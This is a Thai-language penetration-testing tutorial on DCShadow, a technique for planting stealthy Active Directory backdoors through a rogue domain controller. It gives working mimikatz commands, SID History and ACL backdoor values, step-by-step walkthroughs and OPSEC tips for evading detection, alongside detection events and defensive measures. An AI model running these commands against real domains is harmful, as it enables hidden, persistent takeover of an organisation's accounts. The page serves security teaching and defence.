DCShadow
DCShadow คือการลงทะเบียน 'DC ปลอมชั่วคราว' (rogue DC) ในโดเมน แล้ว push การเปลี่ยนแปลง attribute เข้า Active Directory ผ่านช่องทาง replication (DRS/DRSUAPI) ตรง ๆ — การแก้ไขจึงถูกมองว่ามาจาก DC ที่ถูกต้องและ<strong>ไม่ขึ้น Directory Service change log ปกติ</strong>บน DC จริง ใช้เป็น stealth persistence หลังยึด Domain/Enterprise Admin แล้ว บทนี้ลงลึกกลไก DRS, สิทธิ์ขั้นต่ำที่ต้องมี, ขั้นตอน mimikatz (2 session), การฝัง SID History, การตรวจจับและป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ — ทำไม push เข้า AD ได้โดยไม่ทิ้ง log
Domain Controller หลายตัวในโดเมนต้อง sync ข้อมูลกันตลอดผ่านกลไก replication ที่ใช้โปรโตคอล DRSUAPI (Directory Replication Service) เมื่อ DC ตัวหนึ่งแก้ object มันจะประกาศ (replicate) การเปลี่ยนแปลงไปยัง DC อื่นด้วยคำสั่ง DRSReplicaAdd / IDL_DRSGetNCChanges จุดสำคัญคือ DC ปลายทางเชื่อว่าข้อมูลที่ replicate มาจาก DC ที่ถูกต้องและเขียนลง database โดยไม่สร้าง event การแก้ไข object แบบเดียวกับการแก้ผ่าน LDAP ปกติ
DCShadow (โมดูล lsadump::dcshadow ของ mimikatz) อาศัยจุดนี้ โดย (1) สร้าง object ชั่วคราวใน Configuration partition ให้เครื่องเราดู 'เหมือน' เป็น DC (สร้าง nTDSDSA object + เพิ่ม SPN GC/ และ E3514235-4B06-11D1-AB04-00C04FC2DCD2/), (2) รอรับคำขอ replicate แล้ว (3) push attribute ที่เราตั้งไว้กลับเข้า DC จริง เมื่อเสร็จก็ลบ object DC ปลอมทิ้ง การแก้ไขจึงฝังใน AD ราวกับ DC จริงเป็นคนทำ — ไม่ผ่าน log การแก้ไข object ปกติ
2. สิทธิ์ขั้นต่ำและสิ่งที่ต้องเตรียม
โดยดั้งเดิม DCShadow มัก 'อธิบาย' ว่าต้องเป็น Domain Admin แต่จริง ๆ ต้องการชุดสิทธิ์เฉพาะบน object และ partition ต่อไปนี้ (มินิมัม) — ผู้ทดสอบขั้นสูงอาจมอบสิทธิ์เหล่านี้ให้บัญชีธรรมดาไว้ล่วงหน้าเพื่อทำ DCShadow ได้โดยไม่ต้องเป็น DA เต็มตัว:
| สิทธิ์ที่ต้องมี | บน object ใด | ใช้ทำอะไร |
|---|---|---|
| DS-Install-Replica (WriteProperty) | Domain object | ลงทะเบียน DC ใหม่ |
| DS-Replication-Manage-Topology | Sites/Configuration NC | จัดการ replication topology |
| DS-Replication-Synchronize | Configuration NC | สั่ง sync |
| GenericWrite / WriteDACL | Sites container (Config) | สร้าง nTDSDSA object |
| WriteProperty บน target object | user/computer ที่จะแก้ | push attribute เป้าหมาย |
| สิทธิ์รัน SYSTEM บนเครื่องที่ทำ | host ผู้โจมตี | session ตั้งค่า (server) |
- ต้องมี 2 บริบทสิทธิ์: session แรกรันเป็น
SYSTEM(ตั้งค่าและทำหน้าที่เป็น server รอ replicate), session สองรันเป็นDomain Admin(สั่ง push/trigger) - เครื่องที่ทำต้อง resolve DNS ไป DC ได้ และ DC ต้องเชื่อมมายังเราได้ (ต้องอยู่ในเครือข่ายเดียวกัน)
- ต้องรู้ Domain SID ถ้าจะฝัง SID History (เช่น
...-512= Domain Admins) - แนะนำใช้ mimikatz เวอร์ชันใหม่ (มี
lsadump::dcshadow) รันบน host ที่ join โดเมน
# Windows (บนโดเมน)
whoami /user # ดู SID → ตัด RID ท้ายออก = domain SID
# PowerView:
Get-DomainSID
Get-DomainUser targetuser -Properties objectsid,sidhistory
# Linux (impacket) — หา domain SID
lookupsid.py domain.local/user:password@10.10.10.10 0
# ยกระดับ session แรกเป็น SYSTEM (บนเครื่องเรา) ด้วย PsExec
PsExec.exe -s -i cmd.exe # เปิด cmd เป็น SYSTEM แล้วรัน mimikatz ในนั้น3. การใช้งาน (mimikatz — 2 session)
DCShadow ต้องใช้ 2 session พร้อมกัน: (A) server session รันเป็น SYSTEM ตั้งว่าจะ push attribute อะไร แล้วค้างไว้รอ (ทำหน้าที่เป็น rogue DC), (B) push session รันเป็น Domain Admin สั่ง /push เพื่อ trigger ให้ DC จริงมา replicate จาก server session
# เปิด mimikatz ใน cmd ที่เป็น SYSTEM (จาก PsExec -s)
mimikatz # !+ # โหลด mimidrv driver (ถ้าจำเป็น)
mimikatz # !processprotect /process:lsass.exe
# ตัวอย่าง 1: ฝัง SID History = Domain Admins (512) ให้ user ธรรมดา
mimikatz # lsadump::dcshadow /object:lowpriv /attribute:SIDHistory /value:S-1-5-21-1111-2222-3333-512
# ตัวอย่าง 2: แก้ primaryGroupID ให้เป็น 512 (Domain Admins)
mimikatz # lsadump::dcshadow /object:lowpriv /attribute:primaryGroupID /value:512
# ตัวอย่าง 3: เขียน SPN (ทำ targeted kerberoast / silver ticket ต่อ)
mimikatz # lsadump::dcshadow /object:lowpriv /attribute:servicePrincipalName /value:cifs/fake
# → mimikatz จะค้างรอ (register เป็น DC ชั่วคราวแล้ว) จนกว่า session B จะ /push# เปิด mimikatz อีกหน้าต่างในบริบท Domain Admin
mimikatz # lsadump::dcshadow /push
# DC จริงจะถูก trigger ให้ replicate จาก rogue DC (session A)
# → attribute ที่ตั้งไว้ถูกเขียนลง NTDS.dit
# เสร็จแล้ว session A จะถอน object DC ปลอมออกอัตโนมัติ
# ตรวจผล (SID History ถูกฝังหรือยัง)
# PowerView: Get-DomainUser lowpriv -Properties sidhistory| attribute ที่นิยม push | ค่าที่ใส่ | ผลลัพธ์ |
|---|---|---|
| SIDHistory | S-1-5-21-...-512 | user ได้สิทธิ์ Domain Admins แบบซ่อน |
| primaryGroupID | 512 / 519 | เป็นสมาชิก DA / Enterprise Admins |
| servicePrincipalName | cifs/host | เปิดทาง Kerberoast / silver ticket |
| ntSecurityDescriptor | ACE ให้เรา | ฝัง ACL backdoor (DCSync สิทธิ์) |
| userAccountControl | flags | ตั้ง delegation / ปิด preauth |
4. Decision Flow — เลือกใช้ DCShadow เมื่อไหร่
5. การตรวจจับ & OPSEC
แม้ DCShadow เลี่ยง log การแก้ไข object แบบปกติ แต่ไม่ได้ไร้ร่องรอยเสียทีเดียว — การลงทะเบียน DC ใหม่ทิ้ง artifact ใน Configuration partition และ generate network traffic แบบ replication ที่ผิดปกติ (มาจากเครื่องที่ไม่ใช่ DC)
| สัญญาณ | ตรวจที่ไหน | หมายเหตุ |
|---|---|---|
| สร้าง nTDSDSA object ใหม่ | Event 5137 (Directory Service) | DC ปลอมถูกสร้าง/ลบในเวลาสั้น ๆ |
| เพิ่ม SPN GC/… ให้เครื่องไม่ใช่ DC | Event 4742 (computer changed) | computer ได้ replication SPN |
| DRSReplicaAdd จาก non-DC | network / DC replication log | source ไม่อยู่ในรายชื่อ DC จริง |
| object DC ปรากฏแล้วหายไว | Sites container ใน Config NC | lifespan สั้นผิดปกติ |
| SID History โผล่บน user | Event 4765/4766, ACL audit | user มี SIDHistory = 512 |
- OPSEC: ทำเร็ว — register, push, ถอน DC ปลอมในหน้าต่างเวลาสั้นเพื่อลดโอกาสถูกจับ DC object ค้าง
- OPSEC: push น้อย attribute เท่าที่จำเป็น; หลีกเลี่ยงค่าที่ดูผิดปกติชัด (เช่น SID History ให้บัญชีที่ไม่ควรมี)
- OPSEC: ทำจากเครื่องที่ join โดเมนและดูสมเหตุสมผล ไม่ใช่ host แปลกปลอม
- จำไว้ว่า DCShadow generate Event 4662 (operation on object) ได้ถ้ามี SACL ที่ตั้ง audit ไว้ — องค์กรที่ audit ละเอียดจับได้
6. Blue Team — การป้องกัน
- จำกัดสิทธิ์ replication: ตรวจว่ามีเฉพาะ DC จริงที่มี
DS-Replication-*และDS-Install-Replica— audit ACL บน domain/config NC เป็นระยะ - Monitor การสร้าง DC: alert เมื่อมี nTDSDSA object / computer ได้ SPN
GC/หรือE3514235-...ที่ไม่ใช่ DC ที่รู้จัก - Baseline รายชื่อ DC: เทียบ replication source กับรายชื่อ DC จริง — replicate จาก host นอกรายการ = แดง
- Tiered admin + PAW: ลดจำนวนบัญชีที่เป็น DA/EA และบังคับใช้ Privileged Access Workstation
- ตรวจ SID History: สแกนหา user ที่มี
sIDHistoryผิดปกติ (โดยเฉพาะ RID สูง เช่น 512/519) เป็นประจำ - ตอบสนอง: หากสงสัยถูก DCShadow — ถือว่าโดเมนถูกยึดเต็ม (attacker เป็น DA อยู่แล้ว) ต้องทำ full AD recovery / reset krbtgt x2 / ล้าง SID History
7. Walkthrough — CTF & real engagement
- 1ยึด Domain Admin ได้แล้ว (เช่นผ่าน DCSync + Golden Ticket หรือ ACL abuse)
- 2ต้องการ persistence ที่ Blue Team หา timeline การแก้ไขไม่เจอ → เลือก DCShadow ฝัง SID History
- 3หา domain SID: Get-DomainSID → S-1-5-21-1111-2222-3333
- 4เลือกบัญชีธรรมดาที่มองข้าม (เช่น svc_backup) เป็นตัวฝัง backdoor
- 5เปิด cmd เป็น SYSTEM ด้วย PsExec -s -i cmd.exe → รัน mimikatz (session A)
- 6session A: lsadump::dcshadow /object:svc_backup /attribute:SIDHistory /value:S-1-5-21-1111-2222-3333-512 (ค้างรอ)
- 7เปิด mimikatz อีกหน้าต่างเป็น DA → lsadump::dcshadow /push (session B)
- 8ตรวจผล: Get-DomainUser svc_backup -Properties sidhistory → เห็น 512
- 9จากนี้ login เป็น svc_backup จะได้ token ที่มีสิทธิ์ Domain Admins แม้ไม่ได้อยู่ในกลุ่ม DA
- 10ทำความสะอาด (ถ้าจบงาน): ลบ SIDHistory ออกและรายงานในเอกสารส่งมอบ
8. ข้อผิดพลาดที่พบบ่อย & แก้ปัญหา
- ลืมรัน session A เป็น SYSTEM: dcshadow (server) ต้องการ SYSTEM — รันเป็น admin ธรรมดาจะ fail ตอน register DC
- push จาก session ที่สิทธิ์ไม่พอ: /push ต้องมีสิทธิ์ replicate (DA/EA) ไม่งั้น DC ปฏิเสธ
- DNS/network resolve ไม่ได้: DC ต้องเชื่อมกลับมายัง rogue DC ได้ — ถ้าอยู่คนละ subnet/firewall กั้น จะ push ไม่สำเร็จ
- ใส่ SID ผิด format: /value ของ SIDHistory ต้องเป็น SID เต็ม (S-1-5-21-...-512) ไม่ใช่แค่ RID
- ปิด session A เร็วไป: ต้องค้าง session A ไว้จนกว่า /push จะเสร็จ ไม่งั้น rogue DC หายก่อน replicate
- เข้าใจผิดว่าเป็น privesc: DCShadow ไม่ยกระดับสิทธิ์ — ต้องเป็น DA อยู่ก่อน (ดู DCSync / ACL Abuse สำหรับการไปถึงจุดนั้น)
9. Quick Reference
- ต้องมี DA/EA (หรือสิทธิ์ replication เฉพาะ) อยู่ก่อน — persistence ไม่ใช่ privesc
- 2 session: A = SYSTEM (server/ตั้งค่า), B = DA (/push)
- A:
lsadump::dcshadow /object:user /attribute:SIDHistory /value:S-1-5-21-...-512 - B:
lsadump::dcshadow /push - payload นิยม: SIDHistory 512, primaryGroupID 512, ACL backdoor, SPN
- SYSTEM:
PsExec.exe -s -i cmd.exe→ mimikatz - เด่นเรื่อง stealth: เลี่ยง DS change log ปกติบน DC
- ป้องกัน: จำกัดสิทธิ์ replication, monitor nTDSDSA/SPN GC ใหม่, สแกน SIDHistory
- ตรวจจับ: Event 5137/4742, replication จาก non-DC, DC object lifespan สั้น
- เทียบ DCSync (อ่าน hash) — DCShadow ใช้ 'เขียน' เข้า AD
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติยึด Domain Admin ได้แล้ว (ผ่าน DCSync/Golden Ticket/ACL Abuse) และต้องการฝัง persistence ที่เนียนที่สุด — DCShadow ต้องรันจากเครื่อง Windows ที่ join โดเมน (mimikatz ต้องการ SYSTEM) มีแค่ Kali ใช้เป็นฐานยิง shell เข้าไปแล้วทำตามนี้
- 1ยืนยันว่ามีสิทธิ์ DA/EA อยู่แล้วจริง:
netexec smb <DC_IP> -u admin -p passต้องขึ้น (Pwn3d!) - 2จาก Kali เปิด shell บน host ที่ join โดเมน (ใช้ DA cred):
evil-winrm -i <HOST> -u admin -p pass - 3อัปโหลด mimikatz เข้าไปในเครื่องนั้น (คำสั่ง
uploadของ evil-winrm) - 4ยกเป็น SYSTEM บนเครื่องนั้น (เช่นผ่าน PsExec/scheduled task) แล้วเปิด mimikatz ในบริบท SYSTEM
- 5หา domain SID ก่อน (รันจาก Kali):
lookupsid.py domain.local/user:pass@<DC_IP> 0 - 6Session A (SYSTEM):
lsadump::dcshadow /object:target /attribute:SIDHistory /value:<SID>-512(ค้างรอ อย่าปิด) - 7Session B (DA, หน้าต่างใหม่):
lsadump::dcshadow /push - 8ตรวจผล: login ด้วย credential ของ target แล้วเช็คว่าได้สิทธิ์ DA ติดมาไหม
- 9ถ้าทำไม่ได้ (ไม่มี Windows host ให้ใช้ มีแต่ Linux) → DCShadow ทำไม่ได้จาก Kali ล้วนๆ ให้ใช้ Golden Ticket เป็น persistence แทน
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ยึด shell บน Windows host | - | gem install evil-winrm | - |
| หา domain SID | impacket (lookupsid.py) | - | - |
| รัน DCShadow (ต้อง Windows) | - | mimikatz (GitHub gentilkiwi) | - |
| ยก SYSTEM บน host | - | PsExec (Sysinternals) | - |
| ยืนยันสิทธิ์/creds | netexec (crackmapexec) | apt install netexec | - |
| ทางเลือก persistence อื่น | impacket (ticketer.py) | - | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้